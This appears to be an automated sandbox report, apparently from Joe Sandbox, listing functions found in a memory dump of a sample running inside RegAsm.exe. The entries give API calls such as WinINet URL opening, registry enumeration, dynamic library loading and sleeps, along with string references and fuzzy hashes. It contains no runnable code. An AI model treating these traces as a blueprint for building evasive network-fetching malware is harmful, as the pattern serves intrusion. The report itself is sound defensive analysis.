
APIs

__aulldiv.LIBCMT ref: 0043040A
__aulldiv.LIBCMT ref: 00430719

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__fread_nolock.LIBCMT ref: 004307BF
__aulldiv.LIBCMT ref: 0043082B

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 00430965
__aulldiv.LIBCMT ref: 00430A9A
__aulldiv.LIBCMT ref: 00430C5A
__fread_nolock.LIBCMT ref: 00430CB1

Strings

b, xrefs: 0043051A

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$__fread_nolock
String ID: b
API String ID: 3493607940-1908338681
Opcode ID: ea3c23c5cc915012d24490733a082e3d86588807900cf02c5af533d7fd69dcd4
Instruction ID: 72058cbddebab2f86bf2de92b5b78f6026ba6cbbc0e2bd338d31afb9be7e9ebe
Opcode Fuzzy Hash: ea3c23c5cc915012d24490733a082e3d86588807900cf02c5af533d7fd69dcd4
Instruction Fuzzy Hash: BEB26FB1D002189FEB24DF64CC91BEEBBB5BB88304F1481AAE509A7391DA345E85CF55

Function 0046D250 Relevance: 17.3, APIs: 2, Strings: 6, Instructions: 3312COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0046F11F

Strings

', xrefs: 0046FE44
&, xrefs: 0046F706
3, xrefs: 0046FC8C
F, xrefs: 00470751
), xrefs: 0047021D
%, xrefs: 0046F18B

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: %$&$'$)$3$F
API String ID: 3732870572-3526315295
Opcode ID: 054462c8f8a1462d8606740539ddcd3ca02b08006a1d5764af3df0ab29fa3044
Instruction ID: 633a350edb2fc87989b6ba01922d55cb0008ed2d28fdd7f324ca571b7acc913f
Opcode Fuzzy Hash: 054462c8f8a1462d8606740539ddcd3ca02b08006a1d5764af3df0ab29fa3044
Instruction Fuzzy Hash: F783FF70D052688FCB65CB28CC90BEEBBB1BF89308F0481DAD54DA7252DA356E85CF55

Function 00481170 Relevance: 16.6, APIs: 2, Strings: 6, Instructions: 2639COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00482423

Strings

3, xrefs: 00482F90
F, xrefs: 004839DA
), xrefs: 00483521
', xrefs: 00483148
&, xrefs: 00482A0A
%, xrefs: 0048248F

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: %$&$'$)$3$F
API String ID: 3732870572-3526315295
Opcode ID: 8cade91c02d6f336282b2144fd175ad2f29ffd5d1f3757323864bcc627c7749b
Instruction ID: 952fd593d95633b9edd10221874c5a5ae23d3a3087215d00ee548c838d1386af
Opcode Fuzzy Hash: 8cade91c02d6f336282b2144fd175ad2f29ffd5d1f3757323864bcc627c7749b
Instruction Fuzzy Hash: 6A53F270D052688FCB25DB28CC90BEEBBB5AF89308F1481DAD549A7252DB346F85CF54

Function 0047E8A0 Relevance: 15.7, APIs: 2, Strings: 6, Instructions: 1747
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__aulldiv.LIBCMT ref: 0047EAEA

Strings

F, xrefs: 00480081
3, xrefs: 0047F555
&, xrefs: 0047F01A
', xrefs: 0047F70D
), xrefs: 0047FAE6
%, xrefs: 0047EB4A

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: %$&$'$)$3$F
API String ID: 3732870572-3526315295
Opcode ID: 1dbd4716ac02c3dcb9ad45edfad81f8b70b2d52b472278a318dea91443fa647b
Instruction ID: fd5550fe2bfd66215863401a4ae7f40b853432828566d43adbbcbdf3bd1a13b7
Opcode Fuzzy Hash: 1dbd4716ac02c3dcb9ad45edfad81f8b70b2d52b472278a318dea91443fa647b
Instruction Fuzzy Hash: 1C13F270D052688FCB29DF68CC90BEDBBB5BF49304F1481EAD50AA7252DB346A85CF54

Function 00436230 Relevance: 15.2, APIs: 2, Strings: 6, Instructions: 1184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@, xrefs: 00436406
<, xrefs: 00436402
|, xrefs: 00436C26
C, xrefs: 00436486
?, xrefs: 0043648A
q, xrefs: 00436C22

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: <$?$@$C$q$|
API String ID: 0-2527616589
Opcode ID: cf23b02fa9254873969b96fc1592efa70b3efdea3ba5ad0eb49b39e361b75b0a
Instruction ID: a4a08d6b2d08d597740c10beba96acd1c11e1c9286bde3c81b2e60263fb064b7
Opcode Fuzzy Hash: cf23b02fa9254873969b96fc1592efa70b3efdea3ba5ad0eb49b39e361b75b0a
Instruction Fuzzy Hash: 9CC268B1D002689FDB24DB64CC91BEEBBB5BF49304F0481EAE50967281DB386E85CF55

Function 00433760 Relevance: 9.6, APIs: 3, Strings: 2, Instructions: 892
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 004338C4
__aulldiv.LIBCMT ref: 0043397D
__aulldiv.LIBCMT ref: 00434048

Strings

T05 5i, xrefs: 00433C37
VWV, xrefs: 004339D6

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: T05 5i$VWV
API String ID: 3732870572-2412919816
Opcode ID: 99f29c956f4fa85e4e3f0df49357e4a6c09ee18a1bf41655be979cc8a46e9561
Instruction ID: 9f3155a497b505d551b9443829d389b61d652a525091c90133e9d8f188ba2dbd
Opcode Fuzzy Hash: 99f29c956f4fa85e4e3f0df49357e4a6c09ee18a1bf41655be979cc8a46e9561
Instruction Fuzzy Hash: 1E922670D002289BDB24DF69CC95BEEBBB1BF89304F1481DAE409A7251DB346E85CF55

Function 00440A90 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 393
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__aulldiv.LIBCMT ref: 00440DB5
__aulldiv.LIBCMT ref: 00440E29

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__fread_nolock.LIBCMT ref: 00440FBF

Strings

#QA, xrefs: 00440BE0

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$__fread_nolock
String ID: #QA
API String ID: 3493607940-1731280056
Opcode ID: 55089a918cc5ee60c3a7cd36a1bc601c6836337a9a6d3f1338517e8eb866c09c
Instruction ID: ab29d18d13d3ca3a70b0b1ec78e29b97a32d0bd9f7bcfaa0c0c17bcd156c36a0
Opcode Fuzzy Hash: 55089a918cc5ee60c3a7cd36a1bc601c6836337a9a6d3f1338517e8eb866c09c
Instruction Fuzzy Hash: 3BF15AB1D002189FEB14DFA4CC81BEEBBB1BF88304F1481AAE509A7381D7786A45CF55

Function 0050B480 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 218
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0050B160: InternetOpenA.WININET(00000000,00000000,00000000,00000000,00000000,?,?), ref: 0050B1B4

InternetOpenUrlA.WININET(00000000,00000006,00000000,00000000,80000000,00000000), ref: 0050B593
InternetCloseHandle.WININET(00000000), ref: 0050B727

Strings

k, xrefs: 0050B651

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$Open$CloseHandle
String ID: k
API String ID: 3289985339-140662621
Opcode ID: e094d59ac9d4a7d04ddc064e7388465a3e338f5642c795e951f334936af196fd
Instruction ID: 42c9fde4cd11957ef1b2ac115441db2fbef171dd7b72c4a7b1ab6a6b9c8ee99b
Opcode Fuzzy Hash: e094d59ac9d4a7d04ddc064e7388465a3e338f5642c795e951f334936af196fd
Instruction Fuzzy Hash: 86A1E1B4D00208DFEB14CF98C995BEEBBB5BF48304F248559E405AB381D775AA85CFA0

Function 00426D90 Relevance: 7.2, APIs: 2, Strings: 1, Instructions: 1923libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 004242B0: __aulldiv.LIBCMT ref: 00424643

LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00428BAA
LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00428D4F

Strings

Fyppe, xrefs: 00427065

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad$__aulldiv
String ID: Fyppe
API String ID: 898380398-1102066067
Opcode ID: 036194ee21f69649c312e1dc25d417c97b5e3d41366bd4dae83cd291fec99348
Instruction ID: 4fa74ec30baec29ec2a88e0f031f0628c5d95e9e1969b6c811619e332c1b32b8
Opcode Fuzzy Hash: 036194ee21f69649c312e1dc25d417c97b5e3d41366bd4dae83cd291fec99348
Instruction Fuzzy Hash: B6231770E05268CFCB25CB68DC90BEEBBB1BF4A308F1481DAD449AB342D6355A85DF54

Function 004424E0 Relevance: 6.8, APIs: 4, Instructions: 789
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__aulldiv.LIBCMT ref: 004427A7
RegOpenKeyExA.KERNEL32(80000001,?,00000000,?,?), ref: 00442859
RegEnumKeyExA.KERNEL32(?,00000000,?,00000104,00000000,00000000,00000000,00000000,00000000,0057A110), ref: 004429D0

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: EnumOpen__aulldiv
String ID:
API String ID: 525619821-0
Opcode ID: 3c91bf574643d55340bc73a1d021248075c50b1fef7a0a47b8f20afc4adce3b4
Instruction ID: 85d541e9116ab33da9aa386cdd70684b643cdeda032051dc8dc746edfa6ebc84
Opcode Fuzzy Hash: 3c91bf574643d55340bc73a1d021248075c50b1fef7a0a47b8f20afc4adce3b4
Instruction Fuzzy Hash: EE8222B0D042289FEB24CF65C995BEEBBB1BF49304F1081DAE409A7281DB746E85CF55

Function 004213A0 Relevance: 6.3, APIs: 4, Instructions: 284
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__aulldiv.LIBCMT ref: 00421403

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 00421448
__aulldiv.LIBCMT ref: 004215B9
RegOpenKeyExA.KERNEL32(80000001,?,?,?,?,?,?,?,?,?,?,00000009,00000000,?,00004D31,00000000), ref: 004215DF

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$Open
String ID:
API String ID: 1164156825-0
Opcode ID: de13ae6ac01edf6b1cc716a19b697296e6ffc3087d179110356170aa80d7a84c
Instruction ID: 8d473256b244857dd35e3f30be31d4f2c24e72554595d6a52a5c71db9b1671bf
Opcode Fuzzy Hash: de13ae6ac01edf6b1cc716a19b697296e6ffc3087d179110356170aa80d7a84c
Instruction Fuzzy Hash: 8DC14C70E002189FEB14CFA4DC95BAEBBB6BF98304F54809AE409B7351DB386A45CF55

Function 0042C1F0 Relevance: 6.3, APIs: 4, Instructions: 265
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000001), ref: 0042C242
__aulldiv.LIBCMT ref: 0042C2B2
__aulldiv.LIBCMT ref: 0042C38F
__aulldiv.LIBCMT ref: 0042C4B5

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$AttributesFile
String ID:
API String ID: 4084128805-0
Opcode ID: 207997357047747877800b6b45617a4d009ae7c3215e72ef9570215f358694e2
Instruction ID: ce5f3bced27452eddc2bb98ccefd4cf2b5ff573b2ab2aaeebd78fa64e932d534
Opcode Fuzzy Hash: 207997357047747877800b6b45617a4d009ae7c3215e72ef9570215f358694e2
Instruction Fuzzy Hash: C7A165B1E00218AFEB14CFA4DC85B9EBBB5FB88314F55816AE908B7381D7386D418F55

Function 00432CB0 Relevance: 4.8, APIs: 3, Instructions: 343
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?), ref: 00432E90
__aulldiv.LIBCMT ref: 00432F7D
Sleep.KERNEL32(?), ref: 00433165

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Sleep$__aulldiv
String ID:
API String ID: 3452965286-0
Opcode ID: ace2132d00580b281b39c4554fa5fcf412341dd4867497363e4755b83993030d
Instruction ID: ad71359d21b1ea7acdfe717ba63d6ce495744843f1c1902d34b77e8da881ce3e
Opcode Fuzzy Hash: ace2132d00580b281b39c4554fa5fcf412341dd4867497363e4755b83993030d
Instruction Fuzzy Hash: 89F1D575E04219DFDB14CF98C991BAEBBB2BF88304F14819AE809A7345D734AE81CF55

Function 00434690 Relevance: 3.2, APIs: 2, Instructions: 170COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0043472D
__aulldiv.LIBCMT ref: 004347E7

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: 34a6ea7ba4e29629569331698aa60038493d99f7d37a90aa1008041271ab0c96
Instruction ID: 1564b058c943317488ec31ecae8851a8a77e1bfb7d3f602f25587fbf73e5db61
Opcode Fuzzy Hash: 34a6ea7ba4e29629569331698aa60038493d99f7d37a90aa1008041271ab0c96
Instruction Fuzzy Hash: 55611CB1E00208ABDB14DFA9DC55BEEBBB5FF88304F508129E509BB380DB786945CB55

Function 0053D8FE Relevance: .2, Instructions: 185COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86cc9933c88ec96b285eaffe16829c5217d82b0095931db109104f588ac4a702
Instruction ID: 8b6cae9327c6ac919ca46e62708f87a9ff3ca6e80c9ca6768d778ba0dbaa07c6
Opcode Fuzzy Hash: 86cc9933c88ec96b285eaffe16829c5217d82b0095931db109104f588ac4a702
Instruction Fuzzy Hash: A661C971901219DBEB14CF64ED867AEBFF4FB54314F248426D805E7291D3B4DA48DB60

Function 0050B160 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 255
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET(00000000,00000000,00000000,00000000,00000000,?,?), ref: 0050B1B4

Strings

f.#'", xrefs: 0050B280

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: InternetOpen
String ID: f.#'"
API String ID: 2038078732-2769528517
Opcode ID: bb44c4014fecb2f8d0895b5343c6ef2997823c7c28379008333dee09edaf4ad3
Instruction ID: 4e75d7b21df17266ad529ee84e2857af0c1fc63a6e21f4bd204107ad56a29a75
Opcode Fuzzy Hash: bb44c4014fecb2f8d0895b5343c6ef2997823c7c28379008333dee09edaf4ad3
Instruction Fuzzy Hash: 9AB1F7B4E00208EBEB14CF94D895BEEBBB5FF48700F208159E515BB281D7799A05CF54

Function 0041A590 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 136
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memcpy_s.LIBCPMTD ref: 0041A637

Strings

HHA, xrefs: 0041A627, 0041A62F, 0041A62A, 0041A632
HHA, xrefs: 0041A5A6

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: _memcpy_s
String ID: HHA$HHA
API String ID: 2001391462-78794114
Opcode ID: ca7d4728289cd00dbdc136cc7db86956461cfb9a897e51b520416e7e03138df7
Instruction ID: 01315bb5fa9e9c0d6c671e2bcc5caf52d63840f9a07402f7a8fcae4b6b8ef95e
Opcode Fuzzy Hash: ca7d4728289cd00dbdc136cc7db86956461cfb9a897e51b520416e7e03138df7
Instruction Fuzzy Hash: 49514AB9D01209EBDF04DF94D845AEF77B5BB48304F14842AE81997341E738EAA1CB66

Function 0050B940 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 129
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

5Y0 , xrefs: 0050B9A3

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 5Y0
API String ID: 0-1643435147
Opcode ID: 11d0563658652af15f74b0aeb00079fbc7b37553e19afb16f36be7ad1a496c8a
Instruction ID: a95730536597f3df5544f862a2a7b5ba3991b8dd5062cb9eda636efe52a7028b
Opcode Fuzzy Hash: 11d0563658652af15f74b0aeb00079fbc7b37553e19afb16f36be7ad1a496c8a
Instruction Fuzzy Hash: 7E51B1B5E00209AFDB08DFD9D995BEEBBB5BF88300F14811AE505A7390D7346A45CF94

Function 004326E0 Relevance: 4.6, APIs: 3, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00432400: __aulldiv.LIBCMT ref: 004324BC

Part of subcall function 00416D40: std::ios_base::clear.LIBCPMTD ref: 00416E67

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00432796

Part of subcall function 004141F0: std::ios_base::clear.LIBCPMTD ref: 00414372

Part of subcall function 00414120: std::ios_base::clear.LIBCPMTD ref: 0041417E

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00432881
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 004328B2

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_std::ios_base::clear$__aulldiv
String ID:
API String ID: 3845869555-0
Opcode ID: b3194e40e61bfa5e8b6b1860e582bbbe4d118606a06ec74927af5b3cfeac1639
Instruction ID: f4f79e4ab060f1a6b29ec0a47ef0af61526eed19e743f3d41dd6052330df926f
Opcode Fuzzy Hash: b3194e40e61bfa5e8b6b1860e582bbbe4d118606a06ec74927af5b3cfeac1639
Instruction Fuzzy Hash: 0551D2B0D042498BDB18EFA4DA957EEBFB2AF45300F2041AED5056B381D7B95E81CB94

Function 0041F8A0 Relevance: 4.5, APIs: 3, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000001), ref: 0041F8D4
_com_issue_error.COMSUPP ref: 0041F8F2
_com_issue_error.COMSUPP ref: 0041F91B

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: _com_issue_error$AllocString
String ID:
API String ID: 245909816-0
Opcode ID: 07967d3f8b8d9d15b177ed0ef317ec28ef60be1ba43bc0fd529b3042d5b4c845
Instruction ID: f160a026dc7dc8590948f86e1e4dfe4e8adb4d342a2cf253170b54e590421564
Opcode Fuzzy Hash: 07967d3f8b8d9d15b177ed0ef317ec28ef60be1ba43bc0fd529b3042d5b4c845
Instruction Fuzzy Hash: D81195B5D00208FFDB00EF94C549B9DBBB1EF58304F2081AAE8056B351D7B9AE85DB95

Function 00432400 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 004324BC

Strings

3AQ, xrefs: 0043262E

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: 3AQ
API String ID: 3732870572-744660477
Opcode ID: ee34fda73584652ebace9783891c84aa4c8d7e8382011c8343ea86c3a31b14a2
Instruction ID: 2cb4d266360dbc0642f5a31a6f70fa6a74364dfb4eb2fa78be2748bda0a72200
Opcode Fuzzy Hash: ee34fda73584652ebace9783891c84aa4c8d7e8382011c8343ea86c3a31b14a2
Instruction Fuzzy Hash: 8DA1F3B0D04258AFDB14CFA8C991BEEBBB1BF48304F1081AED409AB341DB785A85CF55

Function 00556E32 Relevance: 3.3, APIs: 2, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e1eefdcd6b988643dc50133a21d145d6d256a67e92ec7c181cb5fdcd3068a39
Instruction ID: 73156933cfff161ff9b1e33e5c6c2c4d9b5833e2104240ce41839c76589e8386
Opcode Fuzzy Hash: 4e1eefdcd6b988643dc50133a21d145d6d256a67e92ec7c181cb5fdcd3068a39
Instruction Fuzzy Hash: 38B12574A0824AAFDF11CF98E869BAD7FB1BF49305F14415AEC41972A2C7709D49CF60

Function 0042C530 Relevance: 3.2, APIs: 2, Instructions: 228COMMON

Download Yara Rule

APIs

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 0042C655
CreateDirectoryA.KERNEL32(00000000,00000000,?,00000009,00000000), ref: 0042C7C8

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$CreateDirectory
String ID:
API String ID: 1884557851-0
Opcode ID: cb9ce1d8c21ace79f54daf13392c7533ee29a86f9e13f77a4861d7cbc785bbd2
Instruction ID: dbd322cb482f4199d9ea2b6e0a813daa7047373197920aaef8d754e97a7c12a8
Opcode Fuzzy Hash: cb9ce1d8c21ace79f54daf13392c7533ee29a86f9e13f77a4861d7cbc785bbd2
Instruction Fuzzy Hash: 40A135B1E002189FDB14CFA9D891BEEBBB5BF88304F1480AAE509B7341DB346A45CF55

Function 00413370 Relevance: 3.2, APIs: 2, Instructions: 151COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 004134A2
__fread_nolock.LIBCMT ref: 004134F2

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: acdc21af71e34b4167bb0087f5a1344fbfa4b506e0bada9681c34f798c832b23
Instruction ID: e513ee97933012759f0f9f365e5c8ca0a012862529e9c906fa4e25e33b10b114
Opcode Fuzzy Hash: acdc21af71e34b4167bb0087f5a1344fbfa4b506e0bada9681c34f798c832b23
Instruction Fuzzy Hash: BC617475A00109EFCB04CF98C594AEEBBB2FF88305F20819AE915A7355D735AE81DF54

Function 00557CAB Relevance: 1.7, APIs: 1, Instructions: 196fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,0000000C,?,00000000,00588A50,00000014,0054E924,00000000,00000000,00000000), ref: 00557E30

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 93fb4403363359f6b7e5581cd26bd50e14db84a2fa6c457b04d38745cbba1a44
Instruction ID: 7a06ff656d865da06b216ebdb1363396952d61715c6c55d7b6d47dd51212dfc0
Opcode Fuzzy Hash: 93fb4403363359f6b7e5581cd26bd50e14db84a2fa6c457b04d38745cbba1a44
Instruction Fuzzy Hash: 3F617E7190821EAADF11CFA8E895AAE7FB9BF4D305F140586ED04A7212D331DD099BA0

Function 0054DB55 Relevance: 1.7, APIs: 1, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 957b4befa80fd213fed2702a9ee42109debece5d9b7c5f52c25480a70aa6f59b
Instruction ID: 81cd04b6bc2b7771943d8a524c83868550a09d5da23f812f9686e7ecfaf704f5
Opcode Fuzzy Hash: 957b4befa80fd213fed2702a9ee42109debece5d9b7c5f52c25480a70aa6f59b
Instruction Fuzzy Hash: 2651B074A00104AFDF14DF58CC85AE9BFB1FF89368F258159F8499B252D2B19E41DBA0

Function 004141F0 Relevance: 1.6, APIs: 1, Instructions: 124COMMON

Download Yara Rule

APIs

std::ios_base::clear.LIBCPMTD ref: 00414372

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: std::ios_base::clear
String ID:
API String ID: 1443086396-0
Opcode ID: 4197d7bfb916854b7473aedc872d181d189697dd06b22e76e833351e9e37c750
Instruction ID: 8b2e4bb758c6694df06d7454d56db49568dd63ef702087e988a1e22746558291
Opcode Fuzzy Hash: 4197d7bfb916854b7473aedc872d181d189697dd06b22e76e833351e9e37c750
Instruction Fuzzy Hash: 4E519EB4E04249DFCB14CF99D491AEEFBB1BF88310F24815AE915AB395C734A981CF94

Function 00416D40 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

std::ios_base::clear.LIBCPMTD ref: 00416E67

Memory Dump Source

Source File: 00000002.00000002.1947694025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: std::ios_base::clear
String ID:
API String ID: 1443086396-0
Opcode ID: 87762820ae8978ad05e2f73bac3d498fdb726493e16dd55bb69849889473b683
Instruction ID: bfac6a0fac6a6ea4b2e39d86bc440937714fda88544c349c66b50e6cbf0834e6
Opcode Fuzzy Hash: 87762820ae8978ad05e2f73bac3d498fdb726493e16dd55bb69849889473b683
